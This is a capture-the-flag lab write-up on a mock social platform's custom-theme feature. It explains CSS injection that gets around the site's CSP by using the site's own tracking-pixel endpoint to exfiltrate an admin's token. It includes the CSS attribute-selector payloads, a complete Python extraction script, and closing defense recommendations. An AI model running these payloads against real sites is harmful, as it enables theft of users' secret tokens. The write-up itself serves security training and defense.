Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes
Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: character_by_character_exfiltration, csp_self_bypass_via_tracking_pixel, css_attribute_selector_exfiltration, style_tag_injection
Summary
Task: Social platform with custom CSS profile themes rendered in unsanitized <style> tags; CSP blocks scripts and external images but allows inline styles. Solution: CSS attribute selector exfiltration of admin's data-token attribute, using the platform's own tracking pixel endpoint as a CSP-compliant exfiltration channel, character by character.
Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes — hackadvisor
Description
PixelVibe is a social networking platform built by PixelVibe Labs where users create richly customizable profiles. The platform features a social feed with posts and likes, direct messaging, profile analytics with tracking pixels, and a unique profile theming system that lets users style their pages with custom CSS. Your goal is to find and exploit a client-side vulnerability to steal a secret token from the admin user. The admin periodically reviews reported profiles.
English summary: A social networking platform where users can customize their profile pages with arbitrary CSS. The goal is to exploit the CSS injection to exfiltrate a secret token from the admin user who visits reported profiles via an admin bot.
Credentials: user@test.com / password123 Target: https://299b4577-89ef-4de0-bd6a-8aafceead192.labs.hackadvisor.io/
Analysis
Platform Reconnaissance
After logging in with the provided credentials, the platform presents:
- Social feed with posts and likes
- Direct messaging system
- Profile analytics with a tracking pixel feature (
/analytics) - User search functionality
- Profile settings (
/settings) with a "Custom Theme CSS" textarea - Public profiles at
/profile/USERNAME - Report feature at
/report/USERNAME— triggers an admin bot to visit the reported profile
CSP Analysis
The Content-Security-Policy header:
default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self'
Key observations:
script-src 'self'— blocks inline scripts and external script loads → no XSS via<script>tagsstyle-src 'unsafe-inline'— allows inline CSS → CSS injection is viableimg-src 'self'— blocks external image loads → cannot exfiltrate to attacker-controlled server viabackground-image: url(https://evil.com/...)- Need a same-origin exfiltration channel that accepts arbitrary data in URL parameters
CSS Injection Vector
The Profile Settings page has a "Custom Theme CSS" textarea. The input is rendered inside a raw <style> tag in the <head> of the public profile page (/profile/testuser). No sanitization is applied. The <style> tag can even be escaped with </style> to inject arbitrary HTML into the <head>.
Decoy Flag Trap
Every page contained a hidden HTML comment and div with a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated scanners and AI agents. This was identified and ignored.
Admin Bot & Report Feature
Visiting another user's profile shows a "Report" button linking to /report/USERNAME. POSTing to /report/testuser triggers an admin bot to visit the reported profile within minutes.
Discovering the Token Location
Used CSS probing to detect hidden elements. Set custom CSS:
css read-only • copy allowed[data-token] { background-image: url(/api/analytics/track?u=testuser&ref=data-token-exists); }
After reporting the profile and the admin visiting, the analytics page showed a tracking hit with ref data-token-exists, confirming a data-token attribute exists on an element visible only when the admin views the profile.
CSP Self-Bypass via Tracking Pixel
Since img-src 'self' blocks external URLs, the platform's own tracking pixel endpoint was used as the exfiltration channel:
/api/analytics/track?u=testuser&ref=DATA
This endpoint:
- Is on
'self'→ passes CSPimg-srccheck - Accepts arbitrary
refparameter values - Logs the
refparameter to the user's analytics dashboard (visible at/analytics)
Solution
Step 1: CSS Attribute Selector Exfiltration Strategy
CSS [data-token^='PREFIX'] attribute selectors test whether an attribute starts with a given prefix. By generating one CSS rule per possible next character, the browser evaluates all selectors and triggers a background-image load only for the matching prefix — logging the discovered character via the tracking pixel.
For each position, 65 CSS rules are generated (one per possible character):
css read-only • copy allowed[data-token^='FLAG{7a'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_a); } [data-token^='FLAG{7b'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_b); } ... [data-token^='FLAG{7}'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_RBRACE); }
When the admin visits, the browser evaluates all selectors. The one matching the actual token prefix triggers a background-image load to the tracking pixel, logging the matched character.
Step 2: Automated Extraction Script
The script loops through each character position:
- Generates CSS rules for the next unknown character
- Uploads CSS via POST to
/settings - Reports the profile via POST to
/report/testuser - Waits ~10-15 seconds for the admin bot
- Reads the analytics page to find the new tracking hit
- Appends the discovered character and repeats
python read-only • copy allowed#!/usr/bin/env python3 import subprocess, time, re, sys BASE = "https://299b4577-89ef-4de0-bd6a-8aafceead192.labs.hackadvisor.io" COOKIES = "cookies.txt" CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-}" def curl(args): cmd = ["curl", "-s", "-b", COOKIES] + args result = subprocess.run(cmd, capture_output=True, text=True, cwd=".") return result.stdout def set_css(css): curl(["-X", "POST", f"{BASE}/settings", "--data-urlencode", "display_name=Jordan Lee", "--data-urlencode", "bio=Test", "--data-urlencode", "avatar_url=/images/default-avatar.png", "--data-urlencode", f"custom_css={css}", "-L"]) def report(): curl(["-X", "POST", f"{BASE}/report/testuser"]) def get_hits(): html = curl([f"{BASE}/analytics"]) return re.findall(r'pv-ref-data">([^<]+)', html) def extract_char(known): pos = len(known) + 1 tag = f"p{pos}" rules = [] for c in CHARS: ref_c = c if c != "}" else "RBRACE" rules.append(f"[data-token^='{known}{c}'] {{ background-image: url(/api/analytics/track?u=testuser&ref={tag}_{ref_c}); }}") set_css("\n".join(rules)) report() for attempt in range(3): time.sleep(10) hits = get_hits() for hit in hits: if hit.startswith(f"{tag}_"): val = hit[len(f"{tag}_"):] return "}" if val == "RBRACE" else val return None known = sys.argv[1] if len(sys.argv) > 1 else "FLAG{" print(f"Starting from: {known}") for i in range(40): print(f"Extracting position {len(known)+1}...", flush=True) c = extract_char(known) if c is None: print(f"No char found at position {len(known)+1}. Retrying once more...") c = extract_char(known) if c is None: print("Failed. Stopping.") break known += c print(f" Found '{c}' -> {known}", flush=True) if c == "}": print(f"\n*** COMPLETE FLAG: {known} ***") break print(f"\nFinal: {known}")
The script extracted the full 32-character hex token across ~30 rounds:
FLAG{REDACTED}
Defense Recommendations
- Sanitize CSS input: whitelist allowed properties and selectors, strip anything that doesn't match safe patterns
- Never render user CSS inside raw
<style>tags — use a CSS parser/sanitizer library (e.g., DOMPurify for HTML, css-tree for CSS) - Don't expose sensitive tokens in HTML attributes — use HttpOnly cookies or server-side sessions
- Add
nonceorhashto CSP for styles instead of'unsafe-inline' - Rate-limit the tracking pixel endpoint to prevent rapid exfiltration
- Don't allow the tracking pixel to be triggered by CSS
background-imagefrom the same profile